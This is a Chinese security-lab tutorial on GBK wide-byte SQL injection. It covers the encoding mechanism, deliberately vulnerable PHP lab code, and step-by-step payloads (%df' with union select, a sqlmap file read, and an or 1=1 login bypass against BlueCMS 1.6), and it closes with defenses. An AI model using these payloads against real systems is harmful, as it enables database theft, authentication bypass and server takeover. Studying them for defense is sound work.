红日攻防实验室

红日攻防实验室



Hr-Papers--宽字节注入深度讲解

360桌面截图20180315104635.jpg

原理介绍


基本概概念
  1. 宽字节是相对于ascII这样单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节
  2. GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节
  3. 转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能
宽字节注入

先了解下SQL的执行过程:

1.以php客户端为例,使用者输入数据后,会通过php的默认编码生成sql语句发送给服务器。

在php没有开启default_charset编码时,php的默认编码为空

image

此时php会根据数据库中的编码自动来确定使用那种编码,可以使用<?php $m="字"; echo strlen($m); 来进行判断,如果输出的值是3说明是utf-8编码;

image

如果输出的值是2说明是gbk编码;

image

2.服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。

image

3.进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:

​ 3.1 使用字段 CHARACTER SET 设定值;

​ 3.2 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;

image

3.3 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

image

3.4 若上述值不存在,则使用character_set_server设定值。

4.执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。


宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\',其中的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击

image


宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,
然后更新到数据库的时候,再转化成字段所对应的编码

以下是数据的变化过程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

环境搭建及分析


实验1

  1. 为了方便演示该注入的过程,搭建一下环境
  2. 链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密码:ykve
  3. 数据库名为test,数据库的编码全部为gdk
    image
  4. 将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可
简单的源码
/*
Team:红日安全团队
团队成员:CPR
Title:宽字节注入
*/
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."执行的sql语句是:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>宽字节测试</title>
    <meta charset="utf-8"/>
</head>
<body>
<form action="test.php" method="get">
   <b>请输入值:</b> <input type="text" name="id"/>
</form>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

加上echo "<br>"."执行的sql语句是:".$sql."<br>"这句话,可以清楚的查看sql语句的变化过程。
sql语句是SELECT * FROM news WHERE tid='{$id}根据id从数据库表中获取信息。

细节分析

单纯加上单引号没有报错,说明addslashes函数发挥了作用,将' --> \',这样就不会存在注入了。

image

此时,在单引号前面加上前面讲的%df,是mysql认为%df是一个汉字,这样'就可以逃逸出来,使tid = '1'闭合。

image

这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid='1'后面的'没有闭合,需要使用注释符号(-- '或#)将这个多余的'注释掉,这样就可以构造注入语句了。

image

下面就可以按照手动注入的思路进行数据的获取了。

确定表的字段数

由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同; 'order by 1'代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

image

可知一共有3个字段

确定字段的显示位

显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; 'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

image

id的值要用-1或者该表中没有用过的id值,否则测试值会被覆盖。

获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
database()函数:查看当前数据库名称
version()函数:查看数据库版本信息
user():返回当前数据库连接使用的用户
char():将十进制ASCII码转化成字符

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(database())  -- '

image

当前数据库名为'test'。

获取test数据库中的表信息

Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)  
from information_schema.tables where table_schema=0x74657374 -- '

image

由于存在addslashes转义了单引号,如果在table_schema中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。

获取admin表的字段

column_name表示获取字段名

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)  
from information_schema.columns where table_name=0x61646d696e -- '

image

table_name需要使用十六进制编码

获取admin表的数据
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

image
char(58)是:的意思。

数据获取到了,可以更深入一下,比如进行文件的读取,提权等操作。

获取当前用户信息

此次会用到工具SQLMAP,sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写,如果想对工具详细了解,请到官网了解。

下载和使用

本实验用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用户

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

image

看到是root用户,可以更方便的搞事情了。

读服务器中的文件

sqlmap 中--file-read参数,可以读取服务器端任意文件

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

image

已经将文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夹下

正常思路,接下来可以进行提权了,由于该环境是搭建在windows下的,使用--file-write参数进行写文件的操作不能执行,这里就不做演示了。

实验2

  1. 为了方便演示该注入的过程,搭建一下环境
  2. 链接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA 密码:sbwy
  3. 数据库名为test,数据库的编码全部为gdk
    image
  4. 将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可
源码
/*
Team:红日安全团队
团队成员:CPR
Title:宽字节注入
*/
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id = iconv('utf-8', 'gbk', $id);
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."sql:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>gbk change utf-8</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

同样也试用了 addslashes转义,然后使用iconv进行转码,由utf-8 -->gbk

细节分析

为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换$text=iconv("UTF-8","GBK",$text);),其实这样做是有很大风险的,仍旧可以造成宽字节注入。

可以使用逆向思维,先找一个gbk的汉字,錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c,是不是已经看出来了,当传入的值是錦''通过addslashes转义为\'(%5c%27),通过icov转换为%e5%5c,终止变为了%e5%5c%5c%27,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。

按照实验1的思路,可以执行宽字节注入

image
出现报错信息,说明存在宽字节注入。

image
%5c%5c正好把反斜杠转义,使单引号逃逸

image

获取到数据信息(这里的sql注入方法和实验1一样,读者可以自己尝试练习)

实验3

bluecms 1.6 版本存在宽字节注入,环境源码:

链接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA 密码:ek6o

漏洞复现

该cms的宽字节注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我们的安装地址,如果是在本地搭建,需要根据你的本地地址和路径来进行判断。

为了更好演示效果,我们进行如下安装。首先根据上面提示的下载地址进行下载源码。

将整个bluecms文件放到phpStudy的WWW目录下,浏览器访问url/bluecms/uploads/install 根据提示进行安装。

images

打勾继续即可

images

这一步一定要根据自己的本地数据库信息进行配置,否则会失败。

配置好后,下一步会进行安装,稍微一等,就安装完成了。

访问http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login 进入存在注入的页面。

在管理员界面输入登录信息:

image

使用burp suit 进行抓包:

POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入点,可以实现万能密码登录(具体的溯源请看细节分析部分)

构造payload
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登录后台

image

可以看到宽字节显示的汉字‘運’

细节分析

看下管理员登录界面的源码admin/login.php

define('IN_BLUE', true);

 require_once(dirname(__FILE__) . '/include/common.inc.php');
 $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';

 if($act == 'login'){
     if($_SESSION['admin_id']){
         showmsg('您已登录,不用再次登录', 'index.php');
     }
     template_assign('current_act', '登录');
     $smarty->display('login.htm');
 }
 ...

在第二行可以看到包含了/include/common.inc.php文件,跟进一下

 require_once(BLUE_ROOT.'include/mysql.class.php');

 $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

第一行包含了include/mysql.class.php文件,第二行实例化mysql对象,继续跟进mysql.class.php

function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
        $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
        if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
            $this->dbshow('Can not connect to Mysql!');
        } else {
            if($this->dbversion() > '4.1'){
                mysql_query( "SET NAMES gbk");
                if($this->dbversion() > '5.0.1'){
                    mysql_query("SET sql_mode = ''",$this->linkid);
                }
            }
        }
        ...

/include/common.inc.php文件中的mysql实例化对象,调用了这个mysql类,将数据库的连接信息进行封装,重点关注下
mysql_query( "SET NAMES gbk");这一句,使三个字符集(客户端、连接层、结果集)都是GBK编码,经过前面的讲解可以知道gbk是双字节,如果再使用了addslashes()等前面所说的函数进行转义操作,那么一定可以触发宽字节注入

回到common.inc.php,看到

 if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }

如果没有开启get_magic_quotes_gpc(),则会对各种请求数据使deep_addslashes()进行过滤,跟进下这个函数,在common.fun.php文件中

function deep_addslashes($str)
{
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

不管是数组还是字符串都会调用addslashes()函数进行字符的转义

至此可以确定能触发宽字节注入

sql语句分析

前面已经构造了payload,现在看一看完整的sql语句

admin/login.php源码

if(check_admin($admin_name, $admin_pwd)){
         update_admin_info($admin_name);
         if($remember == 1){
         ...

check_admin()函数使用了输入的用户名和密码,跟进一下

该函数在include/common.fun.php文件中

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
     if($row['num'] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}
...
正常的sql语句
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')

当从blue_admin表中查到admin的信息,num的值就会大于零,这样就可以登录成功

含有payload的sql语句
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

登录后台管理,可以寻找上传点,或者利用已知的漏洞,从而getshell,进而控制整个服务器。

漏洞防御


  1. 使用mysql_set_charset(GBK)指定字符集
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
  1. 使用mysql_real_escape_string进行转义
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行,缺一不可。

参考链接


  1. http://blog.csdn.net/helloc0de/article/details/76180190
  2. http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
  3. http://blog.csdn.net/u011721501/article/details/42874517
  4. https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/
 标签: SQL注入, 宽字节

作者  :  redBu11



关于我

about me

redBu11

联系我